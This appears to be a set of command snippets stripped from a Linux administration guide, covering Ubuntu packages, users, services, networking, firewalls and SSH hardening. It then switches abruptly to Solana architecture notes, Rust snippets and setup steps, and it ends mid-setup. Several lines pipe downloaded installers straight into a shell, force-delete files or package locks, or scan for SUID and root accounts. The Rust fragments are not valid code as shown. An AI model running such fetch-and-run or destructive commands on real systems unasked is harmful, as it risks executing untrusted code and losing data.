# Clean downloaded package files
sudo apt clean
sudo apt autoclean

# Search for packages
apt search keyword

# Show package information
apt show package-name

# List installed packages
apt list --installed

# List upgradable packages
apt list --upgradable

# Show package dependencies
apt depends package-name

# Show reverse dependencies (what depends on this package)
apt rdepends package-name

# Hold a package (prevent upgrades)
sudo apt-mark hold package-name

# Unhold a package
sudo apt-mark unhold package-name

# Download package without installing
apt download package-name

# Simulate installation (dry run)
apt install -s package-name

# Fix broken dependencies
sudo apt --fix-broken install

# Reconfigure a package
sudo dpkg-reconfigure package-name

# View current repositories
cat /etc/apt/sources.list

# Example repository format
# deb http://archive.ubuntu.com/ubuntu/ jammy main restricted universe multiverse
# deb http://archive.ubuntu.com/ubuntu/ jammy-updates main restricted universe multiverse
# deb http://security.ubuntu.com/ubuntu jammy-security main restricted universe multiverse

# Add PPA
sudo add-apt-repository ppa:user/ppa-name

# Remove PPA
sudo add-apt-repository --remove ppa:user/ppa-name

# Update after adding repository
sudo apt update

# Add repository with GPG key
curl -fsSL https://example.com/gpg | sudo gpg --dearmor -o /usr/share/keyrings/example.gpg
echo "deb [signed-by=/usr/share/keyrings/example.gpg] https://example.com/repo stable main" | sudo tee /etc/apt/sources.list.d/example.list

# Update package lists
sudo apt update

# Install snap (usually pre-installed)
sudo apt install snapd

# Search for snaps
snap find keyword

# Install snap package
sudo snap install package-name

# List installed snaps
snap list

# Update all snaps
sudo snap refresh

# Update specific snap
sudo snap refresh package-name

# Remove snap
sudo snap remove package-name

# View snap information
snap info package-name

# Install Flatpak
sudo apt install flatpak

# Add Flathub repository
flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo

# Install application
flatpak install flathub app.id

# Run application
flatpak run app.id

# Update applications
flatpak update

/                    # Root directory
├── bin/            # Essential user binaries (commands)
├── boot/           # Boot loader files (kernel, initrd)
├── dev/            # Device files
├── etc/            # System configuration files
├── home/           # User home directories
├── lib/            # Shared libraries
├── media/          # Removable media mount points
├── mnt/            # Temporary mount points
├── opt/            # Optional software packages
├── proc/           # Process information (virtual)
├── root/           # Root user's home directory
├── run/            # Runtime data
├── sbin/           # System binaries (admin commands)
├── srv/            # Service data
├── sys/            # System information (virtual)
├── tmp/            # Temporary files
├── usr/            # User programs and data
│   ├── bin/        # User commands
│   ├── lib/        # Libraries
│   ├── local/      # Local software
│   └── share/      # Shared data
└── var/            # Variable data (logs, caches)
    ├── log/        # Log files
    ├── cache/      # Application cache
    └── tmp/        # Temporary files preserved between reboots

# Print working directory
pwd

# Change directory
cd /path/to/directory
cd ~                # Home directory
cd -                # Previous directory
cd ..               # Parent directory

# List files
ls                  # Basic listing
ls -l               # Long format (permissions, owner, size, date)
ls -la              # Include hidden files
ls -lh              # Human-readable sizes
ls -lt              # Sort by modification time
ls -lS              # Sort by size

# Create directory
mkdir directory-name
mkdir -p path/to/nested/directory  # Create parent directories

# Remove files/directories
rm file
rm -r directory     # Recursive removal
rm -rf directory    # Force recursive removal (dangerous!)

# Copy files/directories
cp source destination
cp -r source-dir destination-dir  # Recursive copy
cp -a source destination          # Archive mode (preserve attributes)

# Move/rename files
mv source destination

# Create empty file or update timestamp
touch filename

# View file contents
cat file            # Display entire file
less file           # Paginated view
head file           # First 10 lines
head -n 20 file     # First 20 lines
tail file           # Last 10 lines
tail -f file        # Follow file updates (useful for logs)

# Find files
find /path -name "filename"
find /path -type f -name "*.txt"
find /path -mtime -7              # Modified in last 7 days
find /path -size +100M            # Files larger than 100MB

# Search file contents
grep "pattern" file
grep -r "pattern" directory       # Recursive search
grep -i "pattern" file            # Case-insensitive
grep -n "pattern" file            # Show line numbers

# Disk space usage
df -h               # Show disk space (human-readable)
df -i               # Show inode usage

# Directory size
du -sh directory    # Summary size
du -h --max-depth=1 # Size of subdirectories

# List block devices
lsblk

# Partition information
sudo fdisk -l
sudo parted -l

# Mount filesystem
sudo mount /dev/sdX1 /mnt/mountpoint

# Unmount filesystem
sudo umount /mnt/mountpoint

# View mounted filesystems
mount | column -t

# Edit fstab for persistent mounts
sudo vim /etc/fstab
# Example entry:
# UUID=xxxx-xxxx /mnt/data ext4 defaults 0 2

# Change file permissions
chmod 755 file      # rwxr-xr-x
chmod 644 file      # rw-r--r--
chmod +x file       # Add execute permission
chmod -w file       # Remove write permission
chmod u+x file      # Add execute for user
chmod g-w file      # Remove write for group
chmod o=r file      # Set read-only for others

# Change ownership
chown user:group file
chown -R user:group directory  # Recursive

# Change group
chgrp group file

# View permissions
ls -l file
stat file           # Detailed file information

# Hard link (same inode, same file)
ln source-file link-name

# Symbolic link (pointer to file)
ln -s source-file link-name
ln -s /path/to/directory link-name

# View link information
ls -l link-name
readlink link-name

# Add user
sudo adduser username

# Add user with specific UID and home directory
sudo useradd -u 1001 -m -s /bin/bash username

# Delete user (keep home directory)
sudo deluser username

# Delete user and home directory
sudo deluser --remove-home username

# Modify user
sudo usermod -l newname oldname    # Rename user
sudo usermod -d /new/home username # Change home directory
sudo usermod -s /bin/zsh username  # Change shell

# Lock/unlock user account
sudo passwd -l username    # Lock
sudo passwd -u username    # Unlock

# Set password
sudo passwd username

# View user information
id username
finger username
getent passwd username

# List all users
cat /etc/passwd
cut -d: -f1 /etc/passwd

# View currently logged-in users
who
w
users

# View last logins
last
lastlog

# Add group
sudo addgroup groupname

# Delete group
sudo delgroup groupname

# Add user to group
sudo usermod -aG groupname username
sudo adduser username groupname

# Remove user from group
sudo deluser username groupname

# View user's groups
groups username
id username

# View group information
getent group groupname

# List all groups
cat /etc/group

# Add user to sudo group (grants sudo privileges)
sudo usermod -aG sudo username

# Edit sudoers file (use visudo for safety)
sudo visudo

# Example sudoers configurations:
# Allow user to run all commands
# username ALL=(ALL:ALL) ALL

# Allow user to run specific command without password
# username ALL=(ALL) NOPASSWD: /usr/bin/apt

# Allow group to run all commands
# %groupname ALL=(ALL:ALL) ALL

# Run command as another user
sudo -u username command

# Run command as root
sudo command

# Start interactive root shell
sudo -i
sudo su -

# View sudo permissions
sudo -l

# List running processes
ps aux              # All processes, detailed
ps -ef              # All processes, different format
pstree              # Process tree

# Interactive process viewer
top                 # Basic process monitor
htop                # Enhanced process monitor (install: sudo apt install htop)
btop                # Modern process monitor (install: sudo apt install btop)

# Search for processes
ps aux | grep process-name
pgrep process-name
pidof process-name

# Process information
ps -p PID -o comm,pid,ppid,user,%cpu,%mem

# Kill processes
kill PID            # Graceful termination (SIGTERM)
kill -9 PID         # Force kill (SIGKILL)
killall process-name
pkill -f pattern

# Background and foreground jobs
command &           # Run in background
jobs                # List background jobs
fg %1               # Bring job 1 to foreground
bg %1               # Resume job 1 in background
Ctrl+Z              # Suspend current process
nohup command &     # Run process that survives terminal exit

# Process priority
nice -n 10 command  # Start with lower priority (+10)
renice -n -5 PID    # Change priority of running process

# Resource limits
ulimit -a           # Show all limits
ulimit -n 4096      # Set max open files

# Service control
sudo systemctl start service-name
sudo systemctl stop service-name
sudo systemctl restart service-name
sudo systemctl reload service-name
sudo systemctl status service-name

# Enable/disable services at boot
sudo systemctl enable service-name
sudo systemctl disable service-name
sudo systemctl is-enabled service-name

# List services
systemctl list-units --type=service
systemctl list-units --type=service --state=running
systemctl list-unit-files --type=service

# View service logs
journalctl -u service-name
journalctl -u service-name -f           # Follow logs
journalctl -u service-name --since today
journalctl -u service-name --since "2024-01-01" --until "2024-01-31"

# System targets (runlevels)
systemctl get-default                   # Current target
sudo systemctl set-default multi-user.target  # Set default to non-GUI
sudo systemctl set-default graphical.target   # Set default to GUI
systemctl isolate rescue.target         # Switch to rescue mode

# Create service file
sudo vim /etc/systemd/system/myapp.service

[Unit]
Description=My Application Service
After=network.target

[Service]
Type=simple
User=myuser
WorkingDirectory=/opt/myapp
ExecStart=/opt/myapp/start.sh
Restart=on-failure
RestartSec=10

[Install]
WantedBy=multi-user.target

# Reload systemd to recognize new service
sudo systemctl daemon-reload

# Enable and start service
sudo systemctl enable myapp
sudo systemctl start myapp
sudo systemctl status myapp

# Command-line tool for NetworkManager
nmcli

# Show network devices
nmcli device status

# Show connections
nmcli connection show

# Connect to WiFi
nmcli device wifi list
nmcli device wifi connect SSID password PASSWORD

# Show IP configuration
nmcli device show eth0

# Restart NetworkManager
sudo systemctl restart NetworkManager

# Configuration file location
/etc/netplan/*.yaml

# Example: Static IP configuration
sudo vim /etc/netplan/00-installer-config.yaml

network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.1.100/24
      routes:
        - to: default
          via: 192.168.1.1
      nameservers:
        addresses:
          - 8.8.8.8
          - 8.8.4.4

# Apply configuration
sudo netplan apply

# Test configuration
sudo netplan try

# Generate debug information
sudo netplan --debug generate

network:
  version: 2
  ethernets:
    eth0:
      dhcp4: true

# Show IP addresses
ip addr show
ip a

# Show specific interface
ip addr show eth0

# Show routing table
ip route show
route -n

# Add/remove IP address
sudo ip addr add 192.168.1.100/24 dev eth0
sudo ip addr del 192.168.1.100/24 dev eth0

# Enable/disable interface
sudo ip link set eth0 up
sudo ip link set eth0 down

# Show network statistics
ip -s link

# DNS configuration
cat /etc/resolv.conf

# Set DNS servers (managed by systemd-resolved)
sudo vim /etc/systemd/resolved.conf

# Flush DNS cache
sudo systemd-resolve --flush-caches
sudo resolvectl flush-caches

# Test DNS resolution
nslookup example.com
dig example.com
host example.com

# Network connectivity tests
ping -c 4 8.8.8.8
ping6 -c 4 google.com

# Trace route
traceroute google.com
mtr google.com          # Better alternative (install: sudo apt install mtr)

# Show network connections
ss -tuln                # All listening TCP/UDP ports
netstat -tuln           # Old alternative
ss -tunap               # Show process names

# Show established connections
ss -tunap | grep ESTAB

# Port scanning
nmap localhost          # Install: sudo apt install nmap

# Enable/disable firewall
sudo ufw enable
sudo ufw disable

# Check status
sudo ufw status
sudo ufw status verbose
sudo ufw status numbered

# Default policies
sudo ufw default deny incoming
sudo ufw default allow outgoing

# Allow/deny ports
sudo ufw allow 22                # SSH
sudo ufw allow 80/tcp            # HTTP
sudo ufw allow 443/tcp           # HTTPS
sudo ufw deny 23                 # Deny telnet

# Allow from specific IP
sudo ufw allow from 192.168.1.100

# Allow from subnet
sudo ufw allow from 192.168.1.0/24

# Allow specific port from specific IP
sudo ufw allow from 192.168.1.100 to any port 22

# Delete rules
sudo ufw delete allow 80
sudo ufw delete 3               # Delete rule number 3

# Application profiles
sudo ufw app list
sudo ufw allow 'OpenSSH'
sudo ufw allow 'Nginx Full'

# Reset firewall
sudo ufw reset

# Install SSH server
sudo apt install openssh-server

# SSH service management
sudo systemctl status ssh
sudo systemctl start ssh
sudo systemctl enable ssh

# SSH configuration file
sudo vim /etc/ssh/sshd_config

# Important SSH settings:
# Port 22
# PermitRootLogin no
# PubkeyAuthentication yes
# PasswordAuthentication no
# AllowUsers user1 user2

# Restart SSH after configuration changes
sudo systemctl restart ssh

# Generate SSH key pair
ssh-keygen -t ed25519 -C "your_email@example.com"
ssh-keygen -t rsa -b 4096 -C "your_email@example.com"

# Copy public key to remote server
ssh-copy-id user@remote-host

# Connect to remote server
ssh user@hostname
ssh -p 2222 user@hostname       # Custom port
ssh -i ~/.ssh/custom_key user@hostname

# SSH config file for shortcuts
vim ~/.ssh/config

Host myserver
    HostName 192.168.1.100
    User myuser
    Port 22
    IdentityFile ~/.ssh/id_ed25519

# Now connect with:
ssh myserver

# Install unattended-upgrades
sudo apt install unattended-upgrades

# Configure automatic updates
sudo dpkg-reconfigure -plow unattended-upgrades

# Configuration file
sudo vim /etc/apt/apt.conf.d/50unattended-upgrades

# Enable automatic reboot if required
# Uncomment and set:
# Unattended-Upgrade::Automatic-Reboot "true";
# Unattended-Upgrade::Automatic-Reboot-Time "02:00";

# Check AppArmor status
sudo aa-status

# AppArmor modes:
# - enforce: Rules are enforced
# - complain: Rules violations are logged but not blocked
# - disabled: Profile not loaded

# Set profile to complain mode
sudo aa-complain /path/to/profile

# Set profile to enforce mode
sudo aa-enforce /path/to/profile

# Disable profile
sudo aa-disable /path/to/profile

# Reload all profiles
sudo systemctl reload apparmor

# Install Fail2Ban
sudo apt install fail2ban

# Start and enable
sudo systemctl start fail2ban
sudo systemctl enable fail2ban

# Configuration
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
sudo vim /etc/fail2ban/jail.local

# Check status
sudo fail2ban-client status

# Check specific jail
sudo fail2ban-client status sshd

# Unban IP
sudo fail2ban-client set sshd unbanip 192.168.1.100

# Install AIDE (Advanced Intrusion Detection Environment)
sudo apt install aide

# Initialize database
sudo aideinit

# Move database to production location
sudo mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# Check for changes
sudo aide --check

# Update database after legitimate changes
sudo aide --update

# View failed login attempts
sudo grep "Failed password" /var/log/auth.log

# View successful logins
sudo grep "Accepted" /var/log/auth.log

# View sudo usage
sudo grep "sudo" /var/log/auth.log

# Check for users with UID 0 (root privileges)
awk -F: '$3 == 0 {print $1}' /etc/passwd

# List all sudo users
getent group sudo

# Check for world-writable files
sudo find / -xdev -type f -perm -0002 -ls 2>/dev/null

# Check for files with no owner
sudo find / -xdev -nouser -ls 2>/dev/null

# Check for SUID/SGID files
sudo find / -xdev \( -perm -4000 -o -perm -2000 \) -type f -ls 2>/dev/null

# System information
uname -a                # Kernel and system info
lsb_release -a          # Ubuntu version
hostnamectl             # System hostname and OS info

# CPU information
lscpu
cat /proc/cpuinfo
nproc                   # Number of CPU cores

# Memory information
free -h
cat /proc/meminfo

# Hardware information
sudo lshw               # Detailed hardware info
sudo lshw -short        # Short summary
sudo dmidecode          # DMI/SMBIOS information

# PCI devices
lspci
lspci -v                # Verbose

# USB devices
lsusb
lsusb -v                # Verbose

# Kernel modules
lsmod
modinfo module-name

# CPU usage
top                     # Real-time system monitor
htop                    # Enhanced version
mpstat 1                # CPU statistics (install: sudo apt install sysstat)

# Memory usage
free -h
vmstat 1                # Virtual memory statistics

# Disk I/O
iostat -x 1             # Disk I/O statistics (install: sudo apt install sysstat)
iotop                   # Real-time disk I/O monitor (install: sudo apt install iotop)

# Network I/O
iftop                   # Network bandwidth monitor (install: sudo apt install iftop)
nethogs                 # Network usage per process (install: sudo apt install nethogs)
nload                   # Network traffic monitor (install: sudo apt install nload)

# System load
uptime
w
cat /proc/loadavg

# Comprehensive system monitoring
dstat                   # Versatile system stats (install: sudo apt install dstat)
glances                 # All-in-one monitor (install: sudo apt install glances)

# System logs location
/var/log/

# Important log files:
/var/log/syslog         # General system log
/var/log/auth.log       # Authentication log
/var/log/kern.log       # Kernel log
/var/log/dmesg          # Boot messages
/var/log/apt/           # APT package manager logs

# View logs
sudo less /var/log/syslog
sudo tail -f /var/log/syslog        # Follow log in real-time

# Systemd journal (journalctl)
journalctl                          # All logs
journalctl -f                       # Follow logs
journalctl -u service-name          # Logs for specific service
journalctl -b                       # Logs from current boot
journalctl -b -1                    # Logs from previous boot
journalctl --since "2024-01-01"     # Logs since date
journalctl --since "1 hour ago"     # Recent logs
journalctl -p err                   # Only errors
journalctl -k                       # Kernel messages

# Journal disk usage
journalctl --disk-usage

# Clean old logs
sudo journalctl --vacuum-time=7d    # Keep only 7 days
sudo journalctl --vacuum-size=1G    # Keep only 1GB

# Configure log rotation
sudo vim /etc/logrotate.conf

# View current limits
ulimit -a

# Common limits:
ulimit -n               # Max open files
ulimit -u               # Max user processes
ulimit -m               # Max memory size

# Set limits (temporary)
ulimit -n 4096          # Set max open files to 4096

# Permanent limits configuration
sudo vim /etc/security/limits.conf

# Example entries:
# username soft nofile 4096
# username hard nofile 8192
# * soft nproc 2048
# * hard nproc 4096

# Shell configuration files
~/.bashrc               # Interactive non-login shell
~/.bash_profile         # Login shell (sources .bashrc)
~/.profile              # Login shell (fallback)
~/.bash_logout          # Executed on logout
~/.bash_history         # Command history

# Reload configuration
source ~/.bashrc

# Environment variables
echo $HOME
echo $PATH
echo $USER

# Set environment variable (temporary)
export VARIABLE=value

# Set permanent environment variable
echo 'export VARIABLE=value' >> ~/.bashrc

# View all environment variables
env
printenv

# Command history
history
history 10              # Last 10 commands
!123                    # Execute command number 123
!!                      # Execute last command
!$                      # Last argument of previous command
!*                      # All arguments of previous command

# Search history
Ctrl+R                  # Reverse search
history | grep keyword

#!/bin/bash
# Script description

# Variables
NAME="John"
AGE=30

# Output
echo "Hello, $NAME"
echo "Age: $AGE"

# Command substitution
CURRENT_DATE=$(date +%Y-%m-%d)
USER_COUNT=$(who | wc -l)

# Conditionals
if [ "$AGE" -gt 18 ]; then
    echo "Adult"
elif [ "$AGE" -eq 18 ]; then
    echo "Just became adult"
else
    echo "Minor"
fi

# Test operators:
# -eq  equal
# -ne  not equal
# -gt  greater than
# -lt  less than
# -ge  greater than or equal
# -le  less than or equal

# String comparisons
if [ "$NAME" = "John" ]; then
    echo "Name is John"
fi

# File tests
if [ -f "/path/to/file" ]; then
    echo "File exists"
fi

# -f  file exists and is regular file
# -d  directory exists
# -e  file exists (any type)
# -r  file is readable
# -w  file is writable
# -x  file is executable

# Loops
# For loop
for i in {1..5}; do
    echo "Number: $i"
done

for file in *.txt; do
    echo "Processing: $file"
done

# While loop
counter=0
while [ $counter -lt 5 ]; do
    echo "Counter: $counter"
    ((counter++))
done

# Functions
greet() {
    local name=$1
    echo "Hello, $name"
}

greet "Alice"

# Arrays
fruits=("apple" "banana" "orange")
echo "${fruits[0]}"     # First element
echo "${fruits[@]}"     # All elements
echo "${#fruits[@]}"    # Array length

# Command-line arguments
# $0  script name
# $1  first argument
# $2  second argument
# $@  all arguments
# $#  number of arguments

# Error handling
set -e                  # Exit on error
set -u                  # Error on undefined variable
set -o pipefail         # Pipeline fails if any command fails

# Exit codes
exit 0                  # Success
exit 1                  # General error

#!/bin/bash

BACKUP_DIR="/backup"
SOURCE_DIR="/home/user/documents"
DATE=$(date +%Y%m%d_%H%M%S)
BACKUP_FILE="backup_${DATE}.tar.gz"

# Create backup directory if it doesn't exist
mkdir -p "$BACKUP_DIR"

# Create backup
echo "Creating backup..."
tar -czf "${BACKUP_DIR}/${BACKUP_FILE}" "$SOURCE_DIR"

if [ $? -eq 0 ]; then
    echo "Backup successful: ${BACKUP_FILE}"
else
    echo "Backup failed!" >&2
    exit 1
fi

# Remove backups older than 7 days
find "$BACKUP_DIR" -name "backup_*.tar.gz" -mtime +7 -delete
echo "Old backups removed"

#!/bin/bash

# Check CPU usage
CPU_USAGE=$(top -bn1 | grep "Cpu(s)" | awk '{print $2}' | cut -d'%' -f1)
echo "CPU Usage: ${CPU_USAGE}%"

# Check memory usage
MEM_USAGE=$(free | grep Mem | awk '{printf("%.2f"), $3/$2 * 100}')
echo "Memory Usage: ${MEM_USAGE}%"

# Check disk usage
DISK_USAGE=$(df -h / | tail -1 | awk '{print $5}' | cut -d'%' -f1)
echo "Disk Usage: ${DISK_USAGE}%"

# Alert if disk usage > 80%
if [ "$DISK_USAGE" -gt 80 ]; then
    echo "WARNING: Disk usage is above 80%!" | mail -s "Disk Alert" admin@example.com
fi

# Server installation
# - Download Ubuntu Server ISO
# - Install minimal server (no GUI)
# - Configure network during installation
# - Set up SSH access

# Common server packages
sudo apt install \
    openssh-server \
    ufw \
    fail2ban \
    htop \
    vim \
    git \
    build-essential \
    curl \
    wget

# Install Apache
sudo apt install apache2

# Manage Apache service
sudo systemctl start apache2
sudo systemctl enable apache2
sudo systemctl status apache2

# Configuration files
/etc/apache2/apache2.conf       # Main config
/etc/apache2/sites-available/   # Virtual host configs
/etc/apache2/sites-enabled/     # Enabled sites (symlinks)

# Enable/disable sites
sudo a2ensite site-name
sudo a2dissite site-name

# Enable/disable modules
sudo a2enmod rewrite
sudo a2dismod autoindex

# Test configuration
sudo apache2ctl configtest

# Reload after changes
sudo systemctl reload apache2

# Document root
/var/www/html/

# Logs
/var/log/apache2/access.log
/var/log/apache2/error.log

# Install Nginx
sudo apt install nginx

# Manage Nginx service
sudo systemctl start nginx
sudo systemctl enable nginx
sudo systemctl status nginx

# Configuration files
/etc/nginx/nginx.conf           # Main config
/etc/nginx/sites-available/     # Site configs
/etc/nginx/sites-enabled/       # Enabled sites (symlinks)

# Enable site
sudo ln -s /etc/nginx/sites-available/mysite /etc/nginx/sites-enabled/

# Test configuration
sudo nginx -t

# Reload configuration
sudo systemctl reload nginx

# Document root
/var/www/html/

# Logs
/var/log/nginx/access.log
/var/log/nginx/error.log

# Install MySQL
sudo apt install mysql-server

# Secure installation
sudo mysql_secure_installation

# Login to MySQL
sudo mysql

# Or with password
mysql -u root -p

# Create database and user
CREATE DATABASE mydb;
CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON mydb.* TO 'myuser'@'localhost';
FLUSH PRIVILEGES;

# Backup database
mysqldump -u root -p mydb > backup.sql

# Restore database
mysql -u root -p mydb < backup.sql

# Install PostgreSQL
sudo apt install postgresql postgresql-contrib

# Switch to postgres user
sudo -i -u postgres

# Create database
createdb mydb

# Create user
createuser --interactive

# Login to PostgreSQL
psql

# Backup database
pg_dump mydb > backup.sql

# Restore database
psql mydb < backup.sql

# Install Docker
sudo apt update
sudo apt install ca-certificates curl gnupg
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg

echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

sudo apt update
sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

# Add user to docker group
sudo usermod -aG docker $USER
newgrp docker

# Verify installation
docker run hello-world

# Docker commands
docker ps               # List running containers
docker ps -a            # List all containers
docker images           # List images
docker pull image:tag   # Pull image
docker run image        # Run container
docker stop container   # Stop container
docker rm container     # Remove container
docker rmi image        # Remove image

# Docker Compose
docker compose up -d
docker compose down
docker compose logs -f

# View boot messages
dmesg
dmesg | less
journalctl -b

# Boot into recovery mode
# 1. Reboot and hold Shift during boot
# 2. Select "Advanced options"
# 3. Select recovery mode
# 4. Choose "root" for root shell access

# Check disk errors
sudo fsck /dev/sdX1     # Unmount first!

# Reinstall GRUB
sudo grub-install /dev/sdX
sudo update-grub

# Check interface status
ip link show

# Restart networking
sudo systemctl restart systemd-networkd
sudo systemctl restart NetworkManager

# Check DNS resolution
nslookup google.com
dig google.com
cat /etc/resolv.conf

# Test connectivity
ping -c 4 8.8.8.8       # Test internet
ping -c 4 192.168.1.1   # Test gateway

# Trace route issues
traceroute google.com
mtr google.com

# Check listening ports
sudo ss -tuln
sudo netstat -tuln

# Check firewall
sudo ufw status verbose
sudo iptables -L -n

# Check disk space
df -h
du -sh /*

# Check inodes
df -i

# Find large files
sudo find / -type f -size +100M -exec ls -lh {} \;
sudo du -h /var | sort -rh | head -20

# Check disk health
sudo smartctl -a /dev/sda       # Install: sudo apt install smartmontools

# Fix filesystem errors
# Boot from live USB and run:
sudo fsck -f /dev/sdX1

# Check system load
uptime
top
htop

# Check memory
free -h
sudo swapon --show

# Check disk I/O
iostat -x 1
iotop

# Find memory hogs
ps aux --sort=-%mem | head
ps aux --sort=-%cpu | head

# Check zombie processes
ps aux | grep 'Z'

# Fix broken packages
sudo apt --fix-broken install
sudo dpkg --configure -a

# Clean package cache
sudo apt clean
sudo apt autoclean
sudo apt autoremove

# Fix repository issues
sudo apt update --fix-missing

# Reconfigure packages
sudo dpkg-reconfigure package-name

# Force reinstall package
sudo apt install --reinstall package-name

# Lock file issues
sudo rm /var/lib/apt/lists/lock
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock*
sudo dpkg --configure -a
sudo apt update

# Check service status
sudo systemctl status service-name

# View service logs
sudo journalctl -u service-name
sudo journalctl -u service-name -f

# Reload systemd
sudo systemctl daemon-reload

# Reset failed services
sudo systemctl reset-failed

df -h                   # Check disk space
df -i                   # Check inodes
du -sh /*              # Find large directories

ls -l file             # Check permissions
sudo chown user:group file
sudo chmod 644 file

which command          # Find command location
echo $PATH             # Check PATH variable
sudo apt install package-name

sudo apt update        # Update package lists
sudo add-apt-repository ppa:...  # Add repository if needed

sudo apt update && sudo apt upgrade -y

# Remove old kernels (keep 2 most recent)
sudo apt autoremove --purge

df -h
du -sh /* | sort -rh

sudo journalctl -p err -b
sudo tail -100 /var/log/syslog

sudo passwd -l root

sudo apt list --installed | wc -l
sudo apt autoremove

sudo grep "Failed password" /var/log/auth.log

# Generate strong password
openssl rand -base64 32

systemctl list-unit-files --type=service --state=enabled
sudo systemctl disable service-name

# View current value
cat /proc/sys/vm/swappiness

# Set temporarily
sudo sysctl vm.swappiness=10

# Set permanently
echo 'vm.swappiness=10' | sudo tee -a /etc/sysctl.conf

# Check TRIM support
sudo fstrim -v /

# Enable weekly TRIM
sudo systemctl enable fstrim.timer

# System updates
alias update='sudo apt update && sudo apt upgrade -y'
alias cleanup='sudo apt autoremove -y && sudo apt autoclean'

# Directory navigation
alias ..='cd ..'
alias ...='cd ../..'
alias ll='ls -lah'

# System monitoring
alias ports='sudo ss -tuln'
alias mem='free -h'
alias disk='df -h'

# Safety nets
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'

# Git shortcuts
alias gs='git status'
alias ga='git add'
alias gc='git commit'
alias gp='git push'

# System
sudo apt update && sudo apt upgrade     # Update system
sudo reboot                             # Reboot
sudo shutdown -h now                    # Shutdown
hostnamectl                             # System info

# Files
ls -lah                                 # List files
cd /path                                # Change directory
cp source dest                          # Copy
mv source dest                          # Move/rename
rm file                                 # Remove
mkdir dir                               # Create directory
chmod 755 file                          # Change permissions
chown user:group file                   # Change owner

# Processes
ps aux                                  # List processes
top                                     # Monitor processes
kill PID                                # Kill process
systemctl status service                # Service status

# Network
ip a                                    # Show IP addresses
ping host                               # Test connectivity
ssh user@host                           # SSH connect
sudo ufw allow 22                       # Allow SSH through firewall

# Disk
df -h                                   # Disk space
du -sh dir                              # Directory size
mount /dev/sdX /mnt                     # Mount disk

# Logs
journalctl -f                           # Follow system log
tail -f /var/log/syslog                 # Follow syslog

Input → SHA-256 → Output
Output → SHA-256 → Output
Output → SHA-256 → Output
...

Each hash depends on the previous, creating verifiable passage of time

Hash 1: 0x5d2a...
Hash 2: 0x9f3b... (includes Hash 1)
Hash 3: 0x1e4c... (includes Hash 2)

Leader
  ├─→ Validator Layer 1 (3 nodes)
  │    ├─→ Validator Layer 2 (9 nodes)
  │    │    └─→ Validator Layer 3 (27 nodes)
  │    ├─→ Validator Layer 2 (9 nodes)
  │    └─→ Validator Layer 2 (9 nodes)
  └─→ ...

Transaction 1: Account A → Account B
Transaction 2: Account C → Account D
(Can execute in parallel - no shared state)

Transaction 3: Account A → Account E
Transaction 1: Account A → Account B
(Cannot execute in parallel - both use Account A)

1. Data Fetch (Kernel) → 2. Signature Verify (GPU) →
3. Banking (CPU) → 4. Write (Kernel)

#![allow(unused)]
fn main() {
pub struct Account {
    pub lamports: u64,        // Account balance in lamports
    pub data: Vec<u8>,        // Stored data
    pub owner: Pubkey,        // Program that owns this account
    pub executable: bool,     // Is this account a program?
    pub rent_epoch: Epoch,    // Next epoch to collect rent
}
}
User Wallet (System Program owned)
  → Can only debit lamports with signature

Data Account (Custom Program owned)
  → Only Custom Program can modify data
  → User must call Custom Program to update

#![allow(unused)]
fn main() {
// Calculate rent-exempt balance
let rent = Rent::get()?;
let min_balance = rent.minimum_balance(account_data_len);

// Accounts with balance >= min_balance are rent-exempt
// Accounts below threshold lose lamports each epoch
}
Rent = account_size_in_bytes * price_per_byte_epoch * epochs

#![allow(unused)]
fn main() {
// Create a new account
system_instruction::create_account(
    &payer,           // Who pays for account creation
    &new_account,     // New account address
    lamports,         // Initial balance (rent-exempt)
    space,            // Data size in bytes
    &owner_program,   // Program that will own account
)
}
┌─────────────────┐
│  Program        │ (Executable, Immutable)
│  - Logic only   │
│  - No state     │
└─────────────────┘
        ↓
   Operates on
        ↓
┌─────────────────┐
│  Data Accounts  │ (Non-executable, Mutable)
│  - Store state  │
│  - Owned by     │
│    program      │
└─────────────────┘

#![allow(unused)]
fn main() {
pub struct Instruction {
    pub program_id: Pubkey,              // Program to call
    pub accounts: Vec<AccountMeta>,      // Accounts involved
    pub data: Vec<u8>,                   // Instruction data
}
}
#![allow(unused)]
fn main() {
pub struct Transaction {
    pub signatures: Vec<Signature>,      // Required signatures
    pub message: Message,                // Instructions + accounts
}
}
#![allow(unused)]
fn main() {
pub struct AccountMeta {
    pub pubkey: Pubkey,      // Account address
    pub is_signer: bool,     // Must sign transaction?
    pub is_writable: bool,   // Will be modified?
}
}
#![allow(unused)]
fn main() {
// Find PDA
let (pda, bump_seed) = Pubkey::find_program_address(
    &[b"seeds", user_pubkey.as_ref()],
    &program_id,
);

// PDA properties:
// - Deterministic (same seeds → same address)
// - Off the ed25519 curve (no private key)
// - Only owning program can sign for PDA
}
#![allow(unused)]
fn main() {
invoke(
    &instruction,    // Instruction to invoke
    &accounts,       // Accounts to pass
)?;

// Or with PDA signing
invoke_signed(
    &instruction,
    &accounts,
    &[&[b"seeds", &[bump_seed]]],  // Seeds for PDA signature
)?;
}
# Install Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

# Install Solana CLI
sh -c "$(curl -sSfL https://release.solana.com/stable/install)"

# Verify installation
solana --version
rustc --version

# Set config to devnet
solana config set --url https://api.devnet.solana.com

# Create a keypair
solana-keygen new --outfile ~/.config/solana/id.json

# Get some SOL for testing
solana airdrop 2

# Create new project
cargo new --lib my-solana-program
cd my-solana-program

# Add dependencies to Cargo.toml
[dependencies]
